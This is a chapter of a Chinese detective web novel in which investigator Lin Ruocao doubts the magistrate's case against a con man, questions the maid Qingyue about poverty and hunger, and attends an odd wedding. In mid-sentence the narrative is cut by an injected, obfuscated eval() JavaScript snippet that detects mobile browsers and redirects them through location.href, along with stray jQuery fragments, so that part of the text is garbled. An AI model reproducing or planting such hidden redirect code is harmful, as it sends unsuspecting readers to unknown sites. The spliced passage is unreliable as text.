24. 饥饿

    迷药,各种各样的迷药摆满了整张圆桌。


    林若草随手拿起一瓶瞧了瞧。


    梨蕊恒香,可解寐难之扰,味浅,香味经久不散。


    像是安眠的药物,她边想边打开瓶盖,熟悉的梨香传来,惹得她轻笑了一声。


    这可真是得来全不费功夫。


    这些迷药全都是从木为风屋内搜出来的,同时搜出来的还有几张手记,上面详细记录了他想从李三爷手上讹诈钱财的全部过程。


    此刻何县令正拿着那几张手信安慰着李三爷。


    林若草看过那几张手信,写的很具体,从怎么起的心思,到如何行事都写的很清楚。


    虽然行事的细节没有一一讲清,只写了个大概,但也足以将木为风钉死了。


    多金案照目前的证据来看,就是木为风一手策划,晴月作为内应,目的就是为了骗钱。


    李三爷还有些疑窦:“这……这难道木大师真的骗了我吗?”


    他似是颇为受打击,两眼瞳孔都不自觉的放大了几分。


    林若草盯着他抖动的双手,总觉得自己忽略了什么。


    “这人倒是狡猾的很,利用假死布局,就算现在东窗事发也找不到他人。”


    何县令摇了摇头,脸上满是悔恨:“都怪我,没多安排几个看守看管。”


    他叹了口气:“不过李三爷你放心,我已经下了海捕文书,就算这人跑到天涯海角都绝不可能逃脱。”


    说着他话音一转笑吟吟地看向了林若草:“林姑娘真乃神人啊,才短短几天,就破了这多金案,这效率这本事,下官是自愧不如啊。”


    “等林姑娘入了秘事处,还望你不要忘了本官呀!”


    他这话语转的有些太快,让林若草都有些猝不及防。


    这案子还有这多疑点,怎么就贺喜上了?


    消失的绣花手帕,府衙前和晴月木为风身上沾着同一款梨香的美人。


    这些都还没查清呢。


    “等会我就派人套上马车,送林姑娘你返回秘事处考点。”


    他说着就招手要吩咐下去,林若草连忙摆手拒绝了:“何县令,这案子我还有些许未查清的地方,不急着返程。”


    何县令脸上的笑容一顿,他看向林若草:“林姑娘,这案子都这么清楚了,你还有哪里未查清呢?”


    “我们衙门搜出来的证据如此清晰,足以说明真凶是木为风了,怎么,难道你是不相信我们衙门查出来的证据吗?”


    他收了笑容,冲着林若草怒目而视。


    这帽子扣的有些大,林若草脑子飞快思考着说法。


    香味这个东西太片面,说出来大家不一定信,不能当做理由。


    手帕也大可直接推到木为风身上,容易被反驳,也不能。


    那便只能是这个了。


    “这不是木为风还没被抓到吗?我对他怎么假死,又怎么渡河,还有如何避开人将东西弄到李府,挺感兴趣的。”


    何县令闻言,大笑出声:“原来如此,这些,等我们抓到木为风之后定会修书一封告知与你的,你放心好了。”


    似乎看出林若草还有些犹豫,他眯起了眼,沉着一张脸:“怎么你难道还要留在这指挥我们抓人不成?”


    “林姑娘啊林姑娘,本官说句不好听的,你现在还没进秘事处呢,就算进了,这抓人也不归你们秘事处管,就不要越俎代庖了。”


    林若草也眯起眸,与何县令对视,气氛开始凝结,在场无一人出声,四周静逸的可怕。


    就当林若草忍不住反唇相讥的时候,何县令突然笑了一声。


    “哈哈,林姑娘,你到底是个女子,这脑袋聪明但这身体还是要差些,这抓人多有凶险,万一你出了什么差错,我也不好向上头交待,说句不好听的,你留在这,我们就得束手束脚,挺耽误我们办差的。”


    这夹枪带棒的话挤兑的林若草活生生气笑了。


    身体差,呵,如果可以,她真想当场掏出匕首让这个所谓的何县令知道知道花儿为什么这样红。


    但此刻她只能忍着,强龙还不压地头蛇呢,这到底是人家的地盘。


    自己还得设法留在这里才行。


    正当她思考着对策时,一道温和的声音传来:“也不慌送林姑娘走吧,人家来一趟就一直在破案子,还没好好歇歇,正好明日我要办喜事,让林姑娘参加沾沾喜气,也好歇上一歇。”


    说话的是李夫人,她嘴角蓄着一抹浅笑,看向林若草的目光温和有礼,让人颇有好感。


    “我房中的三等女使,晴暖,明日出嫁也算喜事一件,不过这女使出嫁,排场自然不会很大,林姑娘要是不嫌弃,明日就来喝喝喜酒,”


    晴暖,那个疯了的女使,晴月的姐姐?


    林若草看向地下跪着的晴月,她没什么反应,似乎丝毫不在乎她姐姐的样子。


    “老爷,晴暖也在我房中伺候了有些日子了,明日是她大喜的日子,她唯一的妹妹就是晴月了,总不能让她嫁人还带着牵挂吧。


    我呀替她开口求老爷一事,这晴月虽犯了糊涂,但终究也没酿成什么大祸,你就饶了她这一次,罚她出府,终身不得再进李府好吗?”


    李老爷拗不过夫人的软身哀求,对此事轻拿轻放了。


    神奇的是,何县令也没再提让林若草马上离开的事,默认了李夫人的提议。


    两人在她面前,都有种说不出的乖顺,可能这就是美人的魅力吧,面对这样温柔如水的美人,想来是谁都舍不得说重话的。


    -


    是夜,明月高悬,李府内一片静逸,一双眼睛自黑暗中睁开,泛着灰的瞳孔在黑夜中闪烁着别样的光彩。


    林若草紧紧靠在墙上,目送一队小厮走了过去后,动作敏捷如猫一般朝着暂时关押晴月的屋子走了过去。


    她屋外只一个嬷嬷守着,天色不早了,嬷嬷坐在凳上闭着眼打瞌睡。


    林若草悄无声息地走上前去,趁她不注意潜了进去。


    屋内的晴月听到动静抬起眼来,看见来人后扯了扯唇:“是你啊,是想问什么吗?”


    “事先说明,我知道的我都说了,整件事都是我和木为风干的,剩下的,就算你问我一夜,我也说不出来。”


    “没想问你案子。”


    她的话被林若草打断了,屋内很黑,她只能借着窗外透进来的月光观察着林若草,她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307891|164962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    神情隐没在黑暗中,让人看不清猜不透。


    “你很缺钱吗?”


    就和这句问题一样猜不透。


    多么莫名其妙的一句话,一下击碎了晴月原本打好的腹稿。


    “啊?”


    没给她多余的时间反应思考,下一个问题尖锐地向她刺来。


    “李府月例不低,你虽是外院女使,但一个月也能拿到一两银子的月例,一两银子,足够平常人家吃穿三月了。”


    “你在李府吃穿不愁,事情不繁琐,主子也不难伺候,你的卖身契也握在李夫人手上,你为了点蝇头小利出卖主子的理由在哪?你卖的可是死契,今日要不是李夫人求情,就算李三爷当场打死你,衙门也不会说些什么,顶多陪点钱给你家人就算了事了。”


    “我想不出你要钱不要命的理由。”


    晴月一下攥紧了拳,不仅是林若草想不出,她其实也想不出。


    她也没想过有人会在这方面细究。


    晴月沉默良久,突然松懈了下来,她肩膀不再紧绷,抬起的眼里多了抹红血丝。


    “林姑娘,你挨过饿吗?”


    “我挨过,这县里大部分人都挨过,饥荒那年寸草不生,父卖女,人相食。”


    “饥饿会让人变成歇斯底里的怪物,当胃里的灼烧感开始翻涌的时候,人脑子里便只剩下了食欲。”


    “而贫穷是另一种意义上的饥饿。”


    -


    清晨,公鸡的第一声鸣叫破开晨雾,林若草睁开眼,眼底却是一片猩红。


    她梦到阿娘了,准确的说,是梦到了逃难时的阿娘和她。


    干瘦的身子,饥黄的脸和眼里永远化不开的哀伤。


    她闭了闭眼,脖子上挂着的平安符膈得她生疼,她用力掐住手心,试图用疼痛将自己从那段往事里抽离出来。


    平安符内的珍珠随着她的动作滚动,亦如她不安跳动的心。


    咚咚咚。


    突如其来的叩门声惊得她下意识屏住了呼吸。


    莫名地她想起了阿兄阿嫂遇害的那个雨夜,也是这样轻柔的叩门声,轻而易举地夺走了兄嫂的性命。


    “林姑娘,你起了吗?喜事要开始了。”


    丫鬟清丽的声音传来,她呼出一大口气,紧抓着匕首的手猛然松开,背后早已布满了汗珠。


    不知为何,自从进了这李府,看到李三爷胡子上那颗珍珠后,她便总想起旧事。


    情绪总会被轻易带起,干扰着她此刻的思绪。


    她缓和了一下情绪,克制地抬起眼:“来了。”


    很诡异的一场亲事。


    丫鬟出嫁,自家主人早早的来了就算了,竟然连何县令都来了。


    看他们穿戴打扮,隆重的跟嫁自家女儿一样,有些重视过头了吧。


    晴月也来了,她脸上却没什么喜意,甚至连衣服都没换,就穿着那身灰扑扑的白衣,头上一点首饰都没带,板着张脸,不像是来参加喜事,倒像是奔丧一般。


    看到她,林若草就忍不住想起昨夜她最后说的那句意味不明的话。


    “其实县里大部分人都很感谢老爷的,若没有他,我们还在过穷日子呢。”